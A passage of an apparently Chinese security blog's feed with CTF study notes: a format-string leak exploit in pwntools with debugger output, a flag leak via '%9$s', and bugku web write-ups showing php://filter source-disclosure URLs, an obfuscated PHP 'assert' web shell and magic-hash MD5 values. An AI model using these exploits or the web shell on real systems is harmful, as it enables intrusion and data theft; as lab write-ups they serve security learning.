&lt;p&gt;此时我构造用户名&lt;code&gt;test&apos; union selct * from users #&lt;/code&gt; 登陆的时候的sql语句如下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&quot;SELECT * FROM users WHERE username=&apos;test\&apos; union selct * from users #&apos; and password=&apos;111&apos;&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时还是无法直接注入的，因为单引号被转义无法闭合&lt;/p&gt;
</content:encoded></item><item><title>格式化字符串分析</title><link>https://rayepeng.net/posts/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%86%E6%9E%90/</guid><pubDate>Sat, 04 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;格式化字符串&lt;/h2&gt;
&lt;p&gt;这个题目是ctfwiki上的&lt;/p&gt;
&lt;p&gt;c代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf(&quot;%s&quot;, s);
  printf(&quot;%08x.%08x.%08x.%s\n&quot;, a, b, c, s);
  printf(s);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（突然发现腾讯文档居然还支持代码好强啊&lt;/p&gt;
&lt;p&gt;我们编译一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把保护措施都关掉了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; % checksec leakMemory   
[*] &apos;/home/abc/Desktop/pwn/leakMemory/leakMemory&apos;
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先看一下几个payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; b printf
Breakpoint 1 at 0x8048330
pwndbg&amp;gt; r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory 
%08x.%08x.%08x

Breakpoint 1, __printf (format=0x8048593 &quot;%08x.%08x.%08x.%s\n&quot;) at printf.c:28
28printf.c: No such file or directory.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在printf处下断点&lt;br /&gt;
此时栈上的布局如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:0004│      0xffffcfa0 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* &apos;%08x.%08x.%08x.%s\n&apos; */
02:0008│      0xffffcfa4 ◂— 0x1
03:000c│      0xffffcfa8 ◂— 0x22222222 (&apos;&quot;&quot;&quot;&quot;&apos;)
04:0010│      0xffffcfac ◂— 0xffffffff
05:0014│      0xffffcfb0 —▸ 0xffffcfc0 ◂— &apos;%08x.%08x.%08x&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;continue一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 1, __printf (format=0xffffcfc0 &quot;%08x.%08x.%08x&quot;) at printf.c:28
28in printf.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出了信息的同时， 命中第二个断点&lt;/p&gt;
&lt;p&gt;此时栈上的布局如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— &apos;%08x.%08x.%08x&apos;
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* &apos;GLIBC_2.0&apos; */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— &apos;%08x.%08x.%08x&apos;
06:0018│      0xffffcfc4 ◂— &apos;.%08x.%08x&apos;
07:001c│      0xffffcfc8 ◂— &apos;x.%08x&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来：&lt;br /&gt;
contiue一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之前栈上的信息显示的不全，栈的内存如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0xffffcfb0 是格式化字符串的地址， 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d&lt;br /&gt;
都打印出来了， 也就是格式化字符串之后的三个位置的信息&lt;/p&gt;
&lt;p&gt;我们通过这种方式泄露栈的信息，但是也可以直接去取得栈中被视为第n+1个参数的值&lt;br /&gt;
至于为什么是第n+1, 这是因为格式化字符串是第一个参数&lt;/p&gt;
&lt;p&gt;比如 通过 %3\$x(这个的原理是啥？为什么要加\$符号) 我们可以泄露栈上被视为第4个参数的值&lt;/p&gt;
&lt;p&gt;栈布局如下：(左边的一列是栈地址，也就是内存的地址，箭头代表了这个内存单元存储的数据，如果是指针还会进一步指示)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— &apos;%3$x&apos;
... ↓(这里是省略号，是不是就是直接指向了，中间那个就被跳过了)
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* &apos;GLIBC_2.0&apos; */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— &apos;%3$x&apos;
06:0018│      0xffffcfc4 ◂— 0x0
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样看不清， 还是直接打印内存信息吧(x命令的用法，这里显示的是内存地址从0xffffcfb0开始的，因为内存是按照字节编址的，所以一行正好是16个字节内存地址就是加10)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d (0xffffcfb0这个内存单元指向了0xffffcfc0)
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2 (看内存单元0xffffcfc0存放的内容就是x$3%)
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜猜这时候打印的信息是啥？&lt;br /&gt;
答案是栈上被视为第四个参数的信息： 0x0804849d&lt;/p&gt;
&lt;p&gt;同样的我们还可以通过%s来得到字符串的信息&lt;/p&gt;
&lt;p&gt;栈布局如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* &apos;%s&apos; */
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* &apos;GLIBC_2.0&apos; */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— 0x7325 /* &apos;%s&apos; */
06:0018│      0xffffcfc4 ◂— 0x1
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是看不清，直接看内存吧(md 垃圾pwndbg)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候会直接将 0xffffcfc0 对应的字符串打印出来&lt;br /&gt;
结果自然就是 %s了&lt;/p&gt;
&lt;p&gt;如果我们输入%2$s, 这个时候就很有趣了， 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来， 可是如果这个地址无效呢？&lt;br /&gt;
我自己尝试的结果是直接退出了，什么都没有打印出来emm&lt;/p&gt;
&lt;p&gt;这时候如果我们指定一个合法的地址， 比如got表中某个函数的地址这就很神奇了&lt;/p&gt;
&lt;p&gt;exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

sh = process(&apos;./leakMemory&apos;)

context.log_level = &apos;debug&apos;
leakmemory = ELF(&apos;./leakMemory&apos;)

__isoc99_scanf_got = leakmemory.got[&apos;__isoc99_scanf&apos;]

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + &apos;%4$s&apos;

print payload

payload1 = &apos;%4$s&apos; #这两个payload是自己测试的
payload2 = &apos;AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p&apos;
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil(&apos;%4$s\n&apos;)
#print sh.recvuntil(&apos;%4$s\n&apos;)
#print &apos;\n&apos;

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们运行这个exp&lt;br /&gt;
在pwndbg中下断点&lt;/p&gt;
&lt;p&gt;运行到第二个printf的时候&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
... ↓
03:000c│      0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc    edi /* &apos;GLIBC_2.0&apos; */
04:0010│      0xffa3be0c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
06:0018│      0xffa3be14 ◂— &apos;%4$s&apos;
07:001c│      0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另一边&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
    00000000  14 a0 04 08  25 34 24 73  0a                        │····│%4$s│·│
    00000009
[DEBUG] Received 0x24 bytes:
    00000000  30 30 30 30  30 30 30 31  2e 32 32 32  32 32 32 32  │0000│0001│.222│2222│
    00000010  32 2e 66 66  66 66 66 66  66 66 2e 14  a0 04 08 25  │2.ff│ffff│ff.·│···%│
    00000020  34 24 73 0a                                         │4$s·││
    00000024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;continue&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[DEBUG] Received 0x8 bytes:
    00000000  14 a0 04 08  b0 2b df f7                            │····│·+··││
    00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process &apos;./leakMemory&apos; stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候我们就得到了scanf函数的地址了&lt;br /&gt;
ok 还有几个地方没弄明白之后再写&lt;/p&gt;
&lt;h2&gt;确定可控制格式化字符串位置的方法&lt;/h2&gt;
&lt;p&gt;既然程序是有漏洞的，我们就必须知道可被控制的格式化字符串的位置，这时候大致有以下几种姿势&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造类似 &lt;code&gt;[tag]%p%p%p%p%p%p...&lt;/code&gt;这样的参数&lt;/li&gt;
&lt;li&gt;Pwngdb中有一个叫做&lt;code&gt;fmarg&lt;/code&gt;可以用来获取指定地址到底是第几个参数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不是很理解第一种方法原理，但是第二种方法比较好用&lt;/p&gt;
&lt;p&gt;不过我们可以来看一个例子：&lt;/p&gt;
&lt;p&gt;IDA中的C代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen(&quot;flag.txt&quot;, &quot;r&quot;);
  for ( i = 0; i &amp;lt;= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts(&quot;what&apos;s the flag&quot;);
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf(&quot;%ms&quot;, &amp;amp;format);
  for ( j = 0; j &amp;lt;= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts(&quot;You answered:&quot;);
      printf(format);
      puts(&quot;\nBut that was totally wrong lol get rekt&quot;);
      fflush(_bss_start);
      return 0;
    }
  }
  printf(&quot;That&apos;s right, the flag is %s\n&quot;, v9);
  fflush(_bss_start);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然的格式化字符串漏洞&lt;/p&gt;
&lt;p&gt;我们需要在&lt;code&gt;printf&lt;/code&gt;函数处下断点&lt;/p&gt;
&lt;p&gt;然后随便输入一些数字:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[-------------------------------------code-------------------------------------]
   0x7ffff7a48e6c &amp;lt;__fprintf+172&amp;gt;:	
    call   0x7ffff7b18c80 &amp;lt;__stack_chk_fail&amp;gt;
   0x7ffff7a48e71:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7a48e7b:	nop    DWORD PTR [rax+rax*1+0x0]
=&amp;gt; 0x7ffff7a48e80 &amp;lt;__printf&amp;gt;:	sub    rsp,0xd8
   0x7ffff7a48e87 &amp;lt;__printf+7&amp;gt;:	test   al,al
   0x7ffff7a48e89 &amp;lt;__printf+9&amp;gt;:	mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a48e8e &amp;lt;__printf+14&amp;gt;:	mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a48e93 &amp;lt;__printf+19&amp;gt;:	mov    QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --&amp;gt; 0x400890 (&amp;lt;main+234&amp;gt;:	mov    edi,0x4009b8)
0008| 0x7fffffffde10 --&amp;gt; 0x61000001 
0016| 0x7fffffffde18 --&amp;gt; 0x602cb0 (&apos;a&apos; &amp;lt;repeats 16 times&amp;gt;)
0024| 0x7fffffffde20 --&amp;gt; 0x602260 --&amp;gt; 0x0 
0032| 0x7fffffffde28 --&amp;gt; 0x7fffffffde30 (&quot;flag{&quot;, &apos;1&apos; &amp;lt;repeats 12 times&amp;gt;, &quot;}\n\377\377\377&quot;)
0040| 0x7fffffffde30 (&quot;flag{&quot;, &apos;1&apos; &amp;lt;repeats 12 times&amp;gt;, &quot;}\n\377\377\377&quot;)
0048| 0x7fffffffde38 (&quot;111111111}\n\377\377\377&quot;)
0056| 0x7fffffffde40 --&amp;gt; 0xffffff0a7d31 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 &apos;a&apos; &amp;lt;repeats 16 times&amp;gt;) at printf.c:28
28	printf.c: No such file or directory.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这时候可以看到&lt;code&gt;flag&lt;/code&gt;了，注意我们是在本地调试，调试的时候当然可以看到flag，一般的pwn题都是要远程连接的&lt;/p&gt;
&lt;p&gt;如果我们要泄露&lt;code&gt;flag&lt;/code&gt;的值，就需要构造&lt;code&gt;%n$s&lt;/code&gt;这样的传进去。所以获取参数的位置很关键&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gdb-peda$ fmtarg 0x7fffffffde28
The index of format argument : 10 (&quot;\%9$p&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过&lt;code&gt;Pwngdb&lt;/code&gt;就可以查看参数的位置了&lt;/p&gt;
&lt;p&gt;这时候运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;abc@ubuntu ~/Desktop/pwnEaxmple/zifuchuan
 % ./goodluck 
what&apos;s the flag
%9$s
You answered:
flag{111111111111}
���
But that was totally wrong lol get rekt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就得到了flag&lt;/p&gt;
&lt;p&gt;(这里值得注意的就是，64位系统和32位系统传参是不一样的)&lt;/p&gt;
</content:encoded></item><item><title>bugku web题目的wp</title><link>https://rayepeng.net/posts/bugku-web%E9%A2%98%E7%9B%AE%E7%9A%84wp/</link><guid isPermaLink="true">https://rayepeng.net/posts/bugku-web%E9%A2%98%E7%9B%AE%E7%9A%84wp/</guid><pubDate>Thu, 07 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;welcome to bugkuctf&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;ctrl + U&lt;/code&gt;查看页面源代码， 如果有 &lt;code&gt;$user&lt;/code&gt;且 &lt;code&gt;file_get_contents($user, &apos;r&apos;)&lt;/code&gt; 的 值是 指定的字符串。 就会 &lt;code&gt;include&lt;/code&gt; &lt;code&gt;$file&lt;/code&gt; 的内容 。 并且提示是 &lt;code&gt;hint.php&lt;/code&gt;这个文件&lt;/p&gt;
&lt;p&gt;这里涉及到一个怎么把 &lt;code&gt;get&lt;/code&gt; 方法传入的参数作为一个文件打开。&lt;/p&gt;
&lt;h2&gt;php伪协议&lt;/h2&gt;
&lt;p&gt;这里用到了 &lt;code&gt;php://input&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是。。&lt;/p&gt;
&lt;p&gt;这就要用到第二个伪协议：&lt;br /&gt;
&lt;code&gt;php://filter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我那样传递参数会报错， &lt;code&gt;include($file)&lt;/code&gt; 只是把 &lt;code&gt;$file&lt;/code&gt; 这个变量当作文件名包括进去了。 就是含在源代码里， 不是简单地构造一个参数就能达到的。&lt;/p&gt;
&lt;p&gt;这就是一个泄露了源码的漏洞了。&lt;/p&gt;
&lt;p&gt;最后构造的URL如下：&lt;br /&gt;
&lt;code&gt;http://123.206.87.240:8006/test1/?txt=php://input&amp;amp;file=php://filter/read=convert.base64-encode/resource=hint.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;惊叹。&lt;br /&gt;
base64 解密之后的源代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this-&amp;gt;file)){  
            echo file_get_contents($this-&amp;gt;file);
			echo &quot;&amp;lt;br&amp;gt;&quot;;
		return (&quot;good&quot;);
        }  
    }  
}  
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码里面构造了一个类。&lt;br /&gt;
公有变量是 &lt;code&gt;$file&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;继续看一下 &lt;code&gt;index.php&lt;/code&gt; 的源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php  
$txt = $_GET[&quot;txt&quot;];  
$file = $_GET[&quot;file&quot;];  
$password = $_GET[&quot;password&quot;];  

if(isset($txt)&amp;amp;&amp;amp;(file_get_contents($txt,&apos;r&apos;)===&quot;welcome to the bugkuctf&quot;)){  
    echo &quot;hello friend!&amp;lt;br&amp;gt;&quot;;  
    if(preg_match(&quot;/flag/&quot;,$file)){
		echo &quot;ä¸è½ç°å¨å°±ç»ä½ flagå¦&quot;;
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo &quot;you are not the number of bugku ! &quot;;  
}  

?&amp;gt;  

&amp;lt;!--  
$user = $_GET[&quot;txt&quot;];  
$file = $_GET[&quot;file&quot;];  
$pass = $_GET[&quot;password&quot;];  

if(isset($user)&amp;amp;&amp;amp;(file_get_contents($user,&apos;r&apos;)===&quot;welcome to the bugkuctf&quot;)){  
    echo &quot;hello admin!&amp;lt;br&amp;gt;&quot;;  
    include($file); //hint.php  
}else{  
    echo &quot;you are not admin ! &quot;;  
}  
 --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有几个地方暂时写不到位， 先到这里好了。&lt;/p&gt;
&lt;h1&gt;过狗一句话&lt;/h1&gt;
&lt;p&gt;很蒙&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?
php $poc=&quot;a#s#s#e#r#t&quot;;
$poc_1=explode(&quot;#&quot;,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[&apos;s&apos;])
 ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面是题目提示的过狗一句话代码。&lt;br /&gt;
然后…后面的不会了&lt;/p&gt;
&lt;h1&gt;字符，正则？&lt;/h1&gt;
&lt;h1&gt;前女友&lt;/h1&gt;
&lt;p&gt;一道很有趣的题目， 就不说题目了， 直接放我的测试代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
if(isset($_GET[&apos;v1&apos;]) &amp;amp;&amp;amp; isset($_GET[&apos;v2&apos;])){
    $v1 = $_GET[&apos;v1&apos;];
    $v2 = $_GET[&apos;v2&apos;];
    echo &quot;$v1&amp;lt;/br&amp;gt;&quot;;
    var_dump($v1);
    echo &quot;&amp;lt;/br&amp;gt;&quot;;
    echo md5($v1).&quot;&amp;lt;/br&amp;gt;&quot;;
    echo &quot;$v2&amp;lt;/br&amp;gt;&quot;;
    echo md5($v2).&quot;&amp;lt;/br&amp;gt;&quot;;
    if($v1 != $v2 &amp;amp;&amp;amp; md5($v1) == md5($v2)){
        echo &quot;true&quot;;
    }
    else
    {
    	echo &quot;false&quot;;
    }
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也是第一次发现get还能传递数组（不过当然是一堆的错误）&lt;/p&gt;
&lt;h1&gt;MD5 collision&lt;/h1&gt;
&lt;p&gt;还不太清楚MD5 碰撞是啥， 以后补坑&lt;/p&gt;
&lt;p&gt;&lt;code&gt;payload&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;120.24.86.145:9009/md5.php?a=s878926199a&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;常用的MD5碰撞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;秋名山老司机&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;下面的表达式的值是秋名山的车速&amp;lt;/title&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;p&amp;gt;亲请在2s内计算老司机的车速是多少&amp;lt;/p&amp;gt;
&amp;lt;div&amp;gt;1782911879+706686703-1996813020-984998196*1213520247-1805071043*379299795+1623596400-1052850963+2102818407-2101949215=?;&amp;lt;/div&amp;gt;
&amp;lt;style&amp;gt;
div,p{
text-align: center;
margin: 0 auto;
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两秒之内计算出式子中的值， 再提交&lt;/p&gt;
&lt;p&gt;菜鸡还不太会写脚本&lt;br /&gt;
参考了dalao们的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

url = &apos;http://120.24.86.145:8002/qiumingshan/&apos;
s = requests.Session()
source = s.get(url)
expression = re.search(r&apos;(\d+[+\-*])+(\d+)&apos;, source.text).group()
result = eval(expression)
post = {&apos;value&apos;: result}
print(s.post(url, data = post).text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过还是没搞出来。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;复习一下&lt;code&gt;requests&lt;/code&gt;库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#构造requests对象

s = requests.get(url)
s.post(url,   )

#差不多就这些了
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;cookies欺骗&lt;/h1&gt;
&lt;p&gt;然而注意到URL中的line和file时就能做出来了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#用脚本把代码跑出来

a=30
for i in range(a):
    url=&quot;http://120.24.86.145:8002/web11/index.php?line=&quot;+str(i)+&quot;&amp;amp;filename=aW5kZXgucGhw&quot;
    s=requests.get(url)
    print s.text
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

error_reporting(0);
$file=base64_decode(isset($_GET[&apos;filename&apos;])?$_GET[&apos;filename&apos;]:&quot;&quot;);

$line=isset($_GET[&apos;line&apos;])?intval($_GET[&apos;line&apos;]):0;

if($file==&apos;&apos;) header(&quot;location:index.php?line=&amp;amp;filename=a2V5cy50eHQ=&quot;);
$file_list = array(
&apos;0&apos; =&amp;gt;&apos;keys.txt&apos;,
&apos;1&apos; =&amp;gt;&apos;index.php&apos;,
);
if(isset($_COOKIE[&apos;margin&apos;]) &amp;amp;&amp;amp; $_COOKIE[&apos;margin&apos;]==&apos;margin&apos;){       //看这里
 $file_list[2]=&apos;keys.php&apos;;
 }
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造cookie就行啦&lt;br /&gt;
（然而没搞出flag来）&lt;/p&gt;
&lt;h1&gt;login4&lt;/h1&gt;
&lt;p&gt;CBC字节翻转攻击&lt;br /&gt;
放一张经典的图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/bugku0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;据师傅们的wp说是有一个index.php.swp文件存在。&lt;br /&gt;
然而没找到， 先把师傅们找到的源码放上来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
define(&quot;SECRET_KEY&quot;, file_get_contents(&apos;/root/key&apos;));
define(&quot;METHOD&quot;, &quot;aes-128-cbc&quot;);
session_start();
function get_random_iv(){
    $random_iv=&apos;&apos;;
    for($i=0;$i&amp;lt;16;$i++){
        $random_iv.=chr(rand(1,255));
